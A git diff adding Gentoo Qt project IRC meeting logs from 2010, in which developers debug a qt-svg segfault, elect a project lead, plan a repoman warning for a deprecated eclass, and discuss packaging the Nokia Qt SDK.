+[22:23:53] <ayoy> so we have to bundle svg inside gui
+[22:24:07] <wired> or figure out how to trick it into working
+[22:24:13] <hwoarang> excellent
+[22:24:18] <pesa> woot
+[22:24:29] <wired> fury wired ~/svgtest
+[22:24:29] <wired> $ for (( i = 1; i <= 1000; i++ )); do ./svgtest; done
+[22:24:29] <wired> fury wired ~/svgtest
+[22:24:29] <wired> $ 
+[22:24:33] <wired> :p
+[22:24:50] <pesa> it definitely works :P
+[22:24:51] <wired> i think that counts for "working" :p
+[22:25:03] <ayoy> it might be that qt-svg misses some sources to extract
+[22:25:08] <wired> nah i tried that
+[22:25:13] <ayoy> hm
+[22:25:18] <ayoy> bizzare :)
+[22:25:20] <wired> ftr what i did was
+[22:25:30] <wired> s/-no-svg/-svg
+[22:25:38] <wired> and added src/svg, 
+[22:25:46] <wired> 		src/plugins/imageformats/svg
+[22:25:46] <wired> 		src/plugins/iconengines/svgiconengine
+[22:25:52] <wired> in target dirs
+[22:26:00] <wired> removed qt-svg and rebuilt qt-gui
+[22:26:10] <ayoy> cool
+[22:26:37] <wired> so what do you guys think
+[22:26:50] <wired> can we figure this out or should we just merge qt-gui and qt-svg?
+[22:27:22] <ayoy> I'm interested in figuring this out :D
+[22:27:27] <pesa> btw, it looks like nobody ever experienced this bug in real applications
+[22:27:47] <ayoy> or they experienced it but didn't narrow down the issue to qt-svg
+[22:28:08] <pesa> the ignored it
+[22:28:11] <pesa> *they
+[22:28:19] <chiiph> I've use qt-svg for more than a year last year, and I've never bumped into this...
+[22:28:27] <chiiph> the app works just right...
+[22:28:35] <wired> I'm all for figuring out how to properly fix it as well
+[22:28:43] <wired> until qt 4.8, then nokia will do it for us :P
+[22:28:45] <ayoy> I actually experienced some crashes like this :D
+[22:28:50] <ayoy> with an app that uses qt-svg
+[22:28:59] <ayoy> but then it started to work, with QT 4.6.2 or so
+[22:29:09] <wired> this could actually be a reason kde crashes
+[22:29:10] <wired> lol
+[22:29:15] <ayoy> :)
+[22:29:17] <ayoy> fuck
+[22:29:57] <wired> how about
+[22:30:06] <wired> we give it a week (together with the elections)
+[22:30:13] <wired> and if we can't figure anything out till then
+[22:30:15] <wired> we merge
+[22:30:23] <ayoy> yeah
+[22:30:26] <pesa> merging means changing all deps?
+[22:30:29] <wired> i have a feeling many kde bugs will go away...
+[22:30:32] <wired> pesa: yeah
+[22:30:44] <wired> pesa: qt-svg deps
+[22:31:26] <pesa> so plan B is adding IUSE svg in qt-gui
+[22:32:01] <wired> indeed
+[22:33:39] <wired> alright
+[22:33:52] <wired> we're done for today then
+[22:34:02] <wired> if nothing changes
+[22:34:07] <wired> same time, next thursday
+[22:34:15] <wired> elections + qt-svg issue
+[22:34:24] <ayoy> very good
+[22:34:25] <wired> i'll send mail
+[22:34:45] <wired> hwoarang: you'll do the summary?
+[22:34:57] *** Joins: pesa__ (~Pesa@host159-184-dynamic.17-79-r.retail.telecomitalia.it)
+[22:34:57] <hwoarang> ok
+[22:35:01] <wired> i'll commit the log
+[22:35:02] *** Quits: pesa (~Pesa@host5-185-dynamic.7-79-r.retail.telecomitalia.it) (Disconnected by services)
+[22:35:04] *** pesa__ is now known as pesa
+[22:35:31] <ayoy> thanks guys :)
+[22:35:33] <pesa> damn is the meeting over?
+[22:35:37] <wired> *** Meeting End ***
diff --git a/xml/htdocs/proj/en/desktop/qt/logs/qt-project-meeting-20100527.txt b/xml/htdocs/proj/en/desktop/qt/logs/qt-project-meeting-20100527.txt
new file mode 100644
index 00000000..37264f81
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/qt/logs/qt-project-meeting-20100527.txt
@@ -0,0 +1,110 @@
+[21:12:06] <wired> !herd qt
+[21:12:06] <willikins> (qt) abcd, ayoy, chiiph, hwoarang, spatz, tampakrap, wired, yngwin
+[21:12:07] <wired> meeting!
+[21:12:21] <spatz> errr right!
+[21:12:24] *** Quits: [Enrico] (~chiccoroc@gentoo/contributor/Enrico) (Remote host closed the connection)
+[21:13:36] <wired> where is everybody...
+[21:13:46] <spatz> not here :)
+[21:13:54] <spatz> well, there's only one candidate so...
+[21:13:54] <hwoarang> :)
+[21:14:19] <hwoarang> seems like we have to postpone it again
+[21:14:34] <spatz> grrrr why?
+[21:14:38] <spatz> we don't even need a vote
+[21:14:41] <hwoarang> cause it is just the 3 of us
+[21:15:16] * ABCD is here
+[21:15:24] <ABCD> that makes 4
+[21:15:26] <spatz> the deadline passed twice and there's only one nominee
+[21:16:01] <wired> does anyone want to nominate anyone else?
+[21:16:09] <wired> or themselves? :P
+[21:16:21] <wired> from the ones present?
+[21:16:28] <ABCD> who is the nominee?
+[21:16:33] <spatz> ABCD: hwoarang
+[21:16:33] <wired> hwoarang
+[21:16:37] <ABCD> ah
+[21:17:29] <hwoarang> :p
+[21:17:37] <spatz> ok, I nominate wired
+[21:17:43] <wired> o_O
+[21:17:56] <hwoarang> 2 candidates 4 voters
+[21:18:02] <hwoarang> that should be fun :P
+[21:18:06] <hwoarang> hahahaha
+[21:18:40] <wired> gimme 5'
+[21:19:16] * ABCD motions to close the floor for nominations
+[21:19:36] *** Joins: chiiph (~chiiph@gentoo/developer/chiiph)
+[21:19:49] <spatz> 5 :)
+[21:20:30] <chiiph> hi everyone...
+[21:20:37] * spatz would nominate yngwin but knows he doesn't want it
+[21:25:33] <wired> ok
+[21:25:34] <wired> back
+[21:25:44] <wired> hey chiiph 
+[21:25:55] <wired> 5/8
+[21:26:28] <wired> you guys wanna do the vote now? we _could_ allow 1-2 for email votes if you think its necessary
+[21:26:32] <wired> !herd qt
+[21:26:35] <willikins> (qt) abcd, ayoy, chiiph, hwoarang, spatz, tampakrap, wired, yngwin
+[21:27:04] <spatz> let's get this over with, it's not such a big deal
+[21:27:48] <wired> alright then
+[21:28:09] <wired> --- elections for new Qt Project Lead ---
+[21:28:19] <wired> nominees are hwoarang and wired 
+[21:28:24] <wired> please vote
+[21:29:11] <spatz> go ahead :)
+[21:30:02] <hwoarang> i vote wired
+[21:30:45] * spatz votes wired
+[21:31:01] <chiiph> my vote doesn't count really...
+[21:32:21] * ABCD votes wired
+[21:32:53] * wired votes himself =]
+[21:33:32] <hwoarang> ok we are done
+[21:33:33] <wired> chiiph: well you are a member of the team :)
+[21:33:55] <chiiph> wired: yes, but I don't really know either of you yet...
+[21:34:16] <wired> alright
+[21:34:33] <wired> thank you guys for your confidence :)
+[21:34:39] <spatz> wired: congrats
+[21:35:00] <wired> wired is the new Qt Project Lead with 4 votes out of 5 present
+[21:35:22] <wired> spatz: thanks - for the nomination as well :)
+[21:35:37] <wired> before you all go, did anyone make any progress with qt-svg?
+[21:36:57] <spatz> what's wrong with it?
+[21:37:47] <wired> big 301476
+[21:37:51] <wired> ...
+[21:37:52] <wired> bug 301476
+[21:37:55] <willikins> wired: https://bugs.gentoo.org/301476 "QSvgWidget produce segfaults : x11-libs/qt-svg"; Gentoo Linux, Library; ASSI; antonmx@gmail.com:qt@g.o
+[21:41:39] <wired> spatz: any ideas?
+[21:43:12] *** Joins: ayoy (~ayoy@gentoo/developer/ayoy)
+[21:44:07] *** Joins: [Enrico] (~chiccoroc@gentoo/contributor/Enrico)
+[21:44:41] <spatz> crashes for me too :/
+[21:44:49] <wired> yes
+[21:45:04] <ayoy> oh hey
+[21:45:11] <spatz> I wonder how come everything works
+[21:45:12] <ayoy> sorry guys, I forgot :*
+[21:45:12] <wired> spatz: I actually tried merging qt-gui and qt-svg and it works
+[21:45:15] <ayoy> *:(
+[21:45:20] <wired> ayoy: welcome :P
+[21:45:34] <spatz> maybe there's some error/warning during qt-svg compilation that we're missing?
+[21:46:36] <wired> perhaps
+[21:47:18] <wired> spatz: im worried that kde could be crashing because of this bug 
+[21:47:31] <spatz> I use kde and have no crashing
+[21:47:48] <ayoy> yeah, me too actually
+[21:47:51] <ayoy> everything's fine
+[21:47:59] <wired> not any occasional crashes?
+[21:48:03] <ayoy> not at all
+[21:48:08] <spatz> not for a long time
+[21:48:12] <wired> thats good to hear
+[21:48:20] <ayoy> hovewer I have only kdebase-meta
+[21:50:12] <wired> okay then, if kde isn't crashing this is not _that_ critical, we can delay our decision on how to fix it until next meeting
+[21:50:25] <wired> anyone want to discuss anything else?
+[21:50:53] <ayoy> did you vote or something already?
+[21:51:05] <spatz> wtf, I can't run the test-case in gdb
+[21:51:22] <ayoy> what do you mean by "can't"?
+[21:51:28] <ayoy> it doesn't start?
+[21:51:49] <spatz> starts, when I run it gives ImportError: No module named backtrace
+[21:51:54] <ayoy> huh
+[21:52:05] <ayoy> gdb ebuild error?
+[21:52:37] <wired> ayoy: spatz nominated me, we voted: hwoarang, spatz, ABCD and myself voted me and chiiph abstained
+[21:52:48] <ABCD> USE=-python on gdb might (temporarily) fix it, IIRC
+[21:52:49] <wired> ayoy: you wanna leave your vote for the record as well?
+[21:53:42] <spatz> ABCD: I'll give that a try, thanks
+[21:53:56] <ayoy> wired: wow, congrats! :D
+[21:54:15] <ayoy> I can vote for you if you like ;)
+[21:54:26] <wired> ayoy: thanks!
+[21:54:36] <wired> ayoy: whatever you wish =]
+[21:54:43] <ayoy> cool :)
+[21:56:05] <nirbheek> (is the meeting over?)
+[21:56:50] <wired> ok guys, lets continue technical discussions in -qt
+[21:56:58] <wired> meeting is over :)
diff --git a/xml/htdocs/proj/en/desktop/qt/logs/qt-project-meeting-20100624.txt b/xml/htdocs/proj/en/desktop/qt/logs/qt-project-meeting-20100624.txt
new file mode 100644
index 00000000..58e542cd
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/qt/logs/qt-project-meeting-20100624.txt
@@ -0,0 +1,496 @@
+[21:01:14] <wired> !herd qt
+[21:01:14] <willikins> (qt) abcd, ayoy, chiiph, hwoarang, spatz, tampakrap, wired
+[21:01:34] <wired> who's here?
+[21:01:41] * ABCD is
+[21:02:01] *** Joins: pesa (~Pesa@host12-190-dynamic.16-79-r.retail.telecomitalia.it)
+[21:02:03] * ayoy is
+[21:02:08] <pesa> i'm here
+[21:02:13] <chiiph> I'm here
+[21:02:16] * hwoarang around
+[21:02:19] <wired> nice
+[21:02:23] <wired> ABCD: ?
+[21:02:31] <wired> tampakrap told me he won't be here
+[21:02:35] <hwoarang> ok
+[21:02:35] <ABCD> <wired> who's here?
+[21:02:35] <ABCD> * ABCD is
+[21:02:45] <wired> perfect
+[21:02:55] <wired> http://gitorious.org/gentoo-qt/pages/Meeting20100624
+[21:02:58] <hwoarang> who is logging
+[21:03:02] <wired> i am ofc
+[21:03:05] <wired> =]
+[21:03:22] * wired over 3 mil freenode log lines :p
+[21:03:32] <hwoarang> ok lets start
+[21:03:35] <wired> so
+[21:03:39] <hwoarang> wired^^ lead=chairman
+[21:03:40] <wired> 1. qt4-42
+[21:03:44] <wired> 1. qt4-r2
+[21:03:47] <wired> meh today
+[21:04:01] <wired> ok we still have 130 ebuilds using the old eclass
+[21:04:10] <pesa> :(
+[21:04:13] <wired> I am working on a repoman check
+[21:04:17] <hwoarang> indeed we do
+[21:04:31] <wired> i have it ready actually
+[21:04:32] <chiiph> we can do like Arferer and ping everyone everyday
+[21:04:40] <hwoarang> wont work
+[21:04:49] <wired> http://paste.pocoo.org/show/229453/
+[21:04:51] <hwoarang> i can claim my QA membership and fix them myself
+[21:05:01] <hwoarang> without asking
+[21:05:02] <wired> this is my repoman patch
+[21:05:12] <wired> (results)
+[21:05:15] <chiiph> nice
+[21:05:17] <hwoarang> wired: excellent
+[21:05:26] <wired> i made it generic
+[21:05:38] <pesa> great
+[21:05:38] <wired> so other people will be able to mark eclasses as deprecated and have repoman warn ppl
+[21:05:49] <hwoarang> great job
+[21:05:58] <wired> i recommend
+[21:06:06] <wired> leaving this warning for July
+[21:06:14] <wired> then making repoman fail instead of warn
+[21:06:27] <hwoarang> more like August
+[21:07:01] <wired> one *extra* month should be enough imo, then in August we make it fail and actively help ppl migrate whats left
+[21:07:08] <hwoarang> can i see the code?
+[21:07:14] <hwoarang> can we add the deadline on eclass?
+[21:07:15] <wired> ofc ppl can still repoman --force, but anyway
+[21:07:20] <hwoarang> @DEADLINE: bla bla
+[21:07:27] <hwoarang> so repoman can display that as well?
+[21:07:45] *** Joins: pesa__ (~Pesa@host23-189-dynamic.245-95-r.retail.telecomitalia.it)
+[21:07:53] <wired> hmm i'd rather not bloat it (yes, you'll see the code after i make some final changes and create a patch/bug)
+[21:08:04] <hwoarang> ok
+[21:08:14] <wired> in any case\
+[21:08:19] <hwoarang> people wont remember they have 1month to fix it
+[21:08:24] <wired> even as a warning this will be annoying
+[21:08:33] <hwoarang> bug/patch + announcment
+[21:08:36] <wired> and after 1 month they can still commit with --force
+[21:08:38] <hwoarang> ok
+[21:08:49] <wired> in emergencies :p
+[21:09:17] <wired> ok, anyone want to add anything to 1.?
+[21:09:27] <chiiph> nope
+[21:09:47] * wired waits 1 minute
+[21:10:16] <wired> alright then. 2. bugZ!
+[21:10:28] <wired> bug #301476
+[21:10:31] <willikins> wired: https://bugs.gentoo.org/301476 "QSvgWidget produce segfaults : x11-libs/qt-svg"; Gentoo Linux, Library; ASSI; antonmx@gmail.com:qt@g.o
+[21:10:46] <hwoarang> oh my...
+[21:10:56] *** Quits: pesa (~Pesa@host12-190-dynamic.16-79-r.retail.telecomitalia.it) (Ping timeout: 276 seconds)
+[21:11:06] <ayoy> :)
+[21:11:09] <wired> we're still nowhere with this
+[21:11:22] <hwoarang> indeed
+[21:11:36] <wired> a nice idea was thrown on the table, a 1-2 hour hack session to try and kill this
+[21:11:41] *** Joins: pesa (~Pesa@host244-190-dynamic.245-95-r.retail.telecomitalia.it)
+[21:11:45] <wired> anyone feel like it?
+[21:11:51] <hwoarang> i do
+[21:11:52] <wired> 21:11:17 (wired) a nice idea was thrown on the table, a 1-2 hour hack session to try and kill this
+[21:11:55] <wired> pesa^
+[21:11:55] *** Quits: pesa__ (~Pesa@host23-189-dynamic.245-95-r.retail.telecomitalia.it) (Disconnected by services)
+[21:11:58] <hwoarang> i wonder if it is doable though
+[21:12:07] <ayoy> hwoarang: the session or the bug?
+[21:12:07] <pesa> my usual network problems :s
+[21:12:10] <hwoarang> the bug
+[21:12:23] <ayoy> hm, there must be some hack :D
+[21:12:33] <wired> tbh i haven't looked at it at all after our last talk
+[21:12:46] <ayoy> I've just tested it on my box, and nothing special
+[21:12:47] <pesa> wired: ok for me
+[21:12:49] <ayoy> fails from time to time
+[21:13:00] <wired> you guys want a weekday or in the weekend?
+[21:13:03] <wired> =]
+[21:13:06] <hwoarang> i kinda did. Seems like there there is a symbol collision for QWidgetPrivate class
+[21:13:40] <ayoy> hwoarang: how do you know this?
+[21:13:54] <ayoy> because I've investigated Qt libs on Debian with nm
+[21:14:09] <ayoy> and QtSvg also defines QWidgetPrivate there
+[21:14:16] <hwoarang> i cant reproduce it anymore with latest qt-svg-4.7.9999
+[21:14:23] <hwoarang> o_0
+[21:14:31] <hwoarang> hwoarang@Mystical ~/svg-issue $ ./a.out 
+[21:14:31] <hwoarang> hwoarang@Mystical ~/svg-issue $ 
+[21:14:40] <wired> run it like 10 times
+[21:14:44] <wired> or 50
+[21:14:44] <ayoy> yeah :)
+[21:15:19] <pesa> well, nm output means that QWidgetPrivate is needed by libQtSvg, it doesn't mean that it's actually defined there
+[21:15:34] <hwoarang> i run it 100 times. It failed 4
+[21:15:34] <pesa> the symbol should be resolved at runtime by ld.so
+[21:15:36] <ayoy> :) that explains a lot
+[21:16:05] <pesa> and it is correctly resolved as far as I could test
+[21:16:30] <ayoy> correctly? all the time?
+[21:17:02] <pesa> it seemed so when i tried
+[21:17:12] <hwoarang> can you paste a test case with nm ?
+[21:17:30] <ayoy> hwoarang: it's not valid actually
+[21:17:33] <ayoy> nm doesn't help us
+[21:17:42] <hwoarang> what about valgrid
+[21:17:47] <hwoarang> *valgrind
+[21:17:57] <pesa> there's a debug flag for the dynamic linker, i dont remember which now
+[21:18:13] <pesa> hwoarang: unfortunately i cannot reproduce at all under valgrind
+[21:18:16] <ayoy> hwoarang: for the record, 'nm -D /usr/lib/qt4/libQtSvg.so'
+[21:18:31] <wired> it seems a hacking session would really help
+[21:18:38] <pesa> yep
+[21:18:43] <hwoarang> ok so 
+[21:18:44] <hwoarang> when :)
+[21:18:45] <ayoy> yeah, and we'll learn something from that for sure
+[21:18:47] <wired> so, lets not turn the meeting into that. when do you guys want to?
+[21:18:53] <ayoy> weekday plz
+[21:18:57] <hwoarang> ok
+[21:18:59] <wired> monday?
+[21:19:03] <wired> same time?
+[21:19:11] <pesa> it depends on when
+[21:19:15] <hwoarang> a bit later cause i have soccer training
+[21:19:24] <hwoarang> otherwise on thusday
+[21:19:25] <pesa> later would be nice for me too
+[21:19:25] <wired> i meant this monday
+[21:19:26] <ayoy> 19 UTC?
+[21:19:32] <hwoarang> more like 20
+[21:19:46] <wired> 20UTC monday: fine here
+[21:19:50] <ayoy> okay with me
+[21:19:58] <hwoarang> wired: thats 23:00 for us right?
+[21:20:01] <wired> yeah
+[21:20:03] <hwoarang> ok
+[21:20:05] <chiiph> may be I'll learn something from the session... i don't think I'll be of much use though... but, yes, any time monday is ok with me...
+[21:20:09] <wired> pesa?
+[21:20:13] <pesa> ok 
+[21:20:14] <hwoarang> fine by me
+[21:20:16] <wired> great
+[21:20:20] <pesa> it's 22 here i guess
+[21:20:26] <ayoy> pesa: right
+[21:20:31] <wired> ok thats done
+[21:20:37] <hwoarang> i should change the topic on #gentoo-qt so we wont forget
+[21:20:40] <wired> i'll send you all a reminder email
+[21:20:46] <wired> and add it to google calendar
+[21:20:47] <wired> =]
+[21:20:50] <pesa> good :)
+[21:20:59] <hwoarang> right
+[21:21:00] <wired> next bug
+[21:21:03] <wired> bug #304971
+[21:21:04] <willikins> wired: https://bugs.gentoo.org/304971 "qt-core stores machine-specific information in /usr/share/qt4/mkspecs"; Gentoo Linux, Library; ASSI; ohnobinki@ohnopublishing.net:qt@g.o
+[21:21:10] <pesa> next two
+[21:21:17] <pesa> thy're related
+[21:21:20] <pesa> *they
+[21:21:20] <hwoarang> what are we gonna do with these
+[21:21:21] <hwoarang> yes
+[21:21:24] <ayoy> 304971, shouldn't it be fixed now?
+[21:21:24] <wired> right
+[21:21:27] <wired> bug #312689
+[21:21:30] <willikins> wired: https://bugs.gentoo.org/312689 "x11-libs/qt-core forces additional CFLAGS and CXXFLAGS for dev-python/PyQt4"; Gentoo Linux, Development; NEW; Martin.vGagern@gmx.net:qt@g.o
+[21:21:38] <hwoarang> ayoy: is it?
+[21:21:46] <ayoy> no idea :/
+[21:21:51] <pesa> uh?
+[21:21:51] <ayoy> those changes I made to qt4-build
+[21:21:58] <ayoy> should fix the issue
+[21:22:00] <pesa> in portage?
+[21:22:09] * hwoarang confused
+[21:22:15] <pesa> me too
+[21:22:17] <ayoy> good question
+[21:22:29] <ayoy> I haven't committed anything to the tree
+[21:22:35] <hwoarang> please do :p
+[21:22:43] <ayoy> but I made changes to qt4-build and placed it in qting-edge branch
+[21:22:43] <pesa> yes please
+[21:22:50] <ayoy> then I ported the changes to qt4-build-edge
+[21:22:58] <ayoy> for testing with .9999 Qt
+[21:23:01] <wired> ayoy: your eclass changes work fine iirc
+[21:23:08] <ayoy> I tested it with 4.6.2 as well
+[21:23:17] <ayoy> cool, then I'll commit the changes to portage
+[21:23:18] <wired> we should push them and finally close the bug :p
+[21:23:20] <ayoy> and we're done
+[21:23:20] <pesa> at least 312689 must be fixed
+[21:23:23] <ayoy> yeah
+[21:23:40] <pesa> 304971 is more general though
+[21:23:55] <hwoarang> i dont see how can we fix QMAKE_LIBDIR_QT
+[21:23:58] <pesa> it's about "machine-specific info"
+[21:24:22] <hwoarang> i wonder if we can fix it on qt4-r2 + eqmake4
+[21:24:22] <pesa> hwoarang: i dunno if it's even doable
+[21:24:27] <hwoarang> to pase this on eqmake4 
+[21:24:32] <hwoarang> and erase it from mkspecs
+[21:24:37] <pesa> yes
+[21:24:44] <pesa> but what about developers?
+[21:24:54] <hwoarang> that use pure qmake ?
+[21:25:00] <pesa> heh
+[21:25:03] <hwoarang> mmmm
+[21:25:16] <hwoarang> sneaky
+[21:25:17] <pesa> they shouldn't be forced to specify LIBDIR
+[21:25:27] <hwoarang> indeed
+[21:25:30] <pesa> they'll hate us
+[21:25:36] <ayoy> no way
+[21:25:48] <ayoy> I think, 1st let's keep the system healthy
+[21:26:01] <ayoy> then we can think of formalities, like machine-specific info in share dir
+[21:26:10] <pesa> we cannot diverge too much from upstream
+[21:26:21] <hwoarang> ayoy: how that would work
+[21:26:28] <ayoy> QMAKE_LIBDIR_QT ins not diverging
+[21:26:30] <ayoy> *is
+[21:26:44] <wired> this looks more like something that upstream should have to change, not us
+[21:26:47] <ayoy> I mean, what we need to change, we should change
+[21:26:56] <ayoy> it's a normal process of SW integration
+[21:27:19] <hwoarang> silly question but why anybody would want /usr/lib32/qt4 on 64bit system
+[21:27:19] <pesa> but we dont _need_ to change that
+[21:27:33] <pesa> do we?
+[21:27:38] <ayoy> so what's the problem with it at all?
+[21:27:43] * ayoy is confused now :(
+[21:27:43] <pesa> multilib is screwed anyway
+[21:27:55] <pesa> their handling of headers is flawed IMHO
+[21:27:56] <hwoarang> QMAKE_LIBDIR_QT is set in such a way that compiling 32-bit Qt apps is
+[21:27:56] <hwoarang> hard.
+[21:28:06] <hwoarang> comment #1
+[21:28:19] <hwoarang> compiling 32-bit Qt apps?why?
+[21:28:21] <pesa> mmm
+[21:28:25] <ayoy> hwoarang++
+[21:28:32] <hwoarang> i dont follow
+[21:28:45] <pesa> anyway
+[21:28:46] <wired> multilib portage maybe
+[21:28:56] <hwoarang> furthermore, isnt that what the emul-qt* libs are supposed to do ?
+[21:29:04] <wired> thats the... stupid way
+[21:29:10] <pesa> the problem is not gentoo-specific
+[21:29:22] <hwoarang> well
+[21:29:27] <hwoarang> i hardly see a problem here
+[21:29:28] <ayoy> isn't it exactly multilib-specific?
+[21:29:33] <wired> yeah
+[21:29:37] <hwoarang> more like a "feature request"
+[21:29:38] <ayoy> you compile Qt on 64-bit, you have lib64
+[21:29:52] <ayoy> quite sane :)
+[21:29:52] <hwoarang> so you want a Qt compiled in 64bit to compile 32bit apps
+[21:29:58] <hwoarang> are you stupid or something?
+[21:29:59] <hwoarang> :)
+[21:30:13] <ayoy> I'd like to hear from someone that needs it
+[21:30:23] <wired> if any :p
+[21:30:25] <pesa> i guess debian has the same problems...?
+[21:30:30] <ayoy> and if he does, he for sure knows what he does
+[21:30:32] <pesa> or other distros
+[21:30:41] <ayoy> and he knows how to change QMAKE_LIBDIR_QT to suit him
+[21:30:48] <ayoy> that's my point of view...
+[21:30:49] <pesa> i mean that the issue should be fixed upstream
+[21:30:51] <hwoarang> ok i will ask for clarification why anybody would want a non-default QMAKE_LIBDIR_QT
+[21:31:17] <hwoarang> pesa: even upstream wont be able to fix it :)
+[21:31:28] <hwoarang> there is no point in using 64bit qmake to build 32bit apps
+[21:31:39] <wired> alright, lets see if we can find any real valid reasons to talk about this again
+[21:31:41] <hwoarang> build Qt in your home dir and develop you app there 
+[21:32:15] <wired> great
+[21:32:27] <wired> any other bugs you'd like to talk about not in the agenda?
+[21:32:50] <ayoy> not really :P
+[21:32:55] <pesa> i'd like to talk about Nokia Qt SDK
+[21:33:05] <ayoy> oh
+[21:33:14] <chiiph> pesa: is that the "windows installer" like app?
+[21:33:18] <pesa> and all that new stuff
+[21:33:34] <pesa> it's a lot of things actually
+[21:34:01] <pesa> the SDK includes qt-4.6.3, qt-creator, madde, qt-simulator, qt-mobility, ... anything else?
+[21:34:19] <hwoarang> like a metapackage :P
+[21:34:28] <pesa> yes
+[21:35:02] <hwoarang> pesa: is there a source code for that?
+[21:35:03] <wired> pesa: go on
+[21:35:09] <pesa> but maybe it's more than than, maybe it installs some stuff to glue everything together
+[21:35:24] <wired> pesa: are you planning to have a look?
+[21:35:31] <pesa> yes definitely
+[21:35:38] <wired> great
+[21:35:41] <pesa> my question is how should we handle it?
+[21:35:49] <hwoarang> what do you suggest
+[21:35:49] <ayoy> I wouldn't say that there are sources for the SDK
+[21:35:56] <hwoarang> ayoy: yes
+[21:36:00] <hwoarang> no sources as I can see
+[21:36:05] <pesa> everything is at gitorious
+[21:36:07] <ayoy> instead, it's a set of apps and libs put together to ease up working with it
+[21:36:12] <ayoy> probably installed to /opt
+[21:36:26] <ayoy> pesa: but separate, ain't it?
+[21:36:32] <pesa> yes
+[21:36:32] <ayoy> I mean, no Nokia Qt SDK repo :)
+[21:36:40] <hwoarang> pesa: couldn't we just put the binary in /obt/bin ?
+[21:36:41] <chiiph> ayoy: afaik, it installs it in your home dir...
+[21:36:43] <hwoarang> :p
+[21:36:47] <ayoy> chiiph: lool
+[21:36:53] <ayoy> awesome :P
+[21:37:02] <wired> lol
+[21:37:04] <pesa> i don't mean we should provide an ebuild for it, but something which is equivalent
+[21:37:11] <chiiph> ayoy: I downloaded it a while ago, when the beta came out, and that really freaked me out...
+[21:37:13] <pesa> something == a set of ebuilds
+[21:37:14] <hwoarang> http://qt.nokia.com/downloads/sdk-linux-x11-64bit-cpp -> binary
+[21:37:21] <hwoarang> pesa: right
+[21:37:29] <hwoarang> we can use a metapackage that pulls them together
+[21:37:29] <hwoarang> :)
+[21:37:37] <ayoy> ah I see
+[21:37:44] <hwoarang> we already have qt/qt-creator/qt-mobility
+[21:37:46] <ayoy> but then we shouldn't call it Nokia Qt SDK
+[21:37:48] <pesa> we dont have an ebuild for e.g. qt-simulator
+[21:38:20] <pesa> only qt-sdk?
+[21:38:34] <ayoy> gentoo-qt-sdk(TM) :D
+[21:38:35] <chiiph> is qt-mobility in? hmm.. I wonder how much time has passed since I've sync'ed everything...
+[21:38:51] <pesa> chiiph: qting-edge only
+[21:39:08] <pesa> it still needs some work
+[21:39:17] <pesa> and 1.0.1 was released
+[21:39:18] <hwoarang> we can have both
+[21:39:20] <hwoarang> qt-sdk
+[21:39:22] <hwoarang> qt-sdk-bin
+[21:39:28] <pesa> hwoarang: sure
+[21:39:32] <wired> who wants to work on it?
+[21:39:52] <hwoarang> pesa: which packages are missing?
+[21:39:54] <hwoarang> qt-simulator?
+[21:39:55] <pesa> ah there's another potential issue: i think the nokia sdk has an arm cross-compiler
+[21:40:06] <pesa> how should we handle that?
+[21:40:07] <ayoy> true
+[21:40:19] <hwoarang> :/
+[21:40:29] <pesa> can we instruct the meta-ebuild to emerge one using crossdev?
+[21:40:31] <ayoy> you see, this is something developers install themselves...
+[21:40:39] <ayoy> especially if it wants to install in $HOME :)
+[21:40:50] <pesa> ayoy: that's why i asked, im not sure how to proceed
+[21:40:53] <ayoy> pesa: this is not the same
+[21:40:57] <chiiph> is there a real reason to discuss this sdk? I mean...
+[21:40:58] <ayoy> I mean crossdev
+[21:41:13] <chiiph> I think we should provide everything separatedly
+[21:41:20] <ayoy> IMHO, I see two options
+[21:41:25] <chiiph> and everyone manage their setup
+[21:41:27] <ayoy> either we install it to /opt
+[21:41:31] <ayoy> or leave it alone
+[21:41:32] <pesa> chiiph: separate whould be fine IMHO
+[21:41:33] <hwoarang> the binary?
+[21:41:54] <pesa> the binary SDK i guess
+[21:41:58] <ayoy> (concerning this magnificient Nokia Qt SDK)
+[21:42:01] <pesa> :)
+[21:42:04] <hwoarang> separate ebuilds will require a lot of work and they wont make much sense as separate package
+[21:42:19] <hwoarang> who would want  symbian packags installed on a gentoo system
+[21:42:27] <hwoarang> a Qt developer. So use the whole SDK suite
+[21:42:32] <ayoy> think of Maemo
+[21:42:33] <chiiph> hwoarang: but a meta package for _everything_ will be too much
+[21:42:55] <ayoy> or this arm compiler is for Symbian?....
+[21:42:58] <chiiph> hwoarang: besides, we can reflect that with useflag deps...
+[21:43:04] <hwoarang> chiiph: thats what i am sayng. I think a qt-sdk-bin would be better
+[21:43:13] <pesa> ayoy: for maemo i think
+[21:43:20] <hwoarang> chiiph: nobody would want them installed in his system
+[21:43:24] <ayoy> yeah, that's what I thought
+[21:43:33] <hwoarang> if I was a developer i would created a ~/qt-develop folder on my home
+[21:43:37] <hwoarang> and do the stuff in there
+[21:43:42] <hwoarang> no spamming my system with crap
+[21:43:44] <pesa> you still need windows to develop for symbian
+[21:43:45] <chiiph> hwoarang: yes, but wouldn't it be a contradiction to have a binary but not the separate modules?
+[21:43:45] <ayoy> that's what I'm saying all the time!
+[21:44:05] <hwoarang> the binary comes with all the modules embedded
+[21:44:19] <hwoarang> why do you want the modules separated since they only make sense when you have the actual binary
+[21:44:42] <pesa> well, qt-creator makes a lot of sense on its own :)
+[21:44:49] <hwoarang> that one yes
+[21:44:56] <chiiph> why? can't I  develop with these modules with vim+console?
+[21:44:57] <hwoarang> now i assume the binary is just an installed
+[21:45:07] <hwoarang> that will fuck up the whole Qt/qt-creator installation :)
+[21:45:08] <wired> lets package whatever we don't have available already and leave the binary
+[21:45:10] <hwoarang> *installer
+[21:45:20] <pesa> hwoarang: basically you should be right
+[21:45:26] <hwoarang> gosh
+[21:45:53] <pesa> are we approaching a consensus?
+[21:46:00] <hwoarang> do we? :P
+[21:46:08] <pesa> we can discuss the matter later
+[21:46:15] <pesa> no hurry
+[21:46:17] <chiiph> wired++
+[21:46:49] <pesa> i'm fine with wired's proposal
+[21:47:02] <hwoarang> ok
+[21:47:11] <wired> if anyone comes up with a reason we should make an ebuild for the binary
+[21:47:15] <wired> we can talk about it again :)
+[21:47:17] <pesa> wired: and what about the arm cross-compiler?
+[21:47:42] <hwoarang> crossdev
+[21:47:51] <wired> pesa: if we can make an ebuild for it, it might be worth it
+[21:47:57] <wired> but that needs more research
+[21:48:00] <pesa> indeed
+[21:48:08] <ayoy> I can dig into it, probably
+[21:48:14] <hwoarang> instruct the user to do it 
+[21:48:20] <ayoy> I'm doing something around this stuff at work
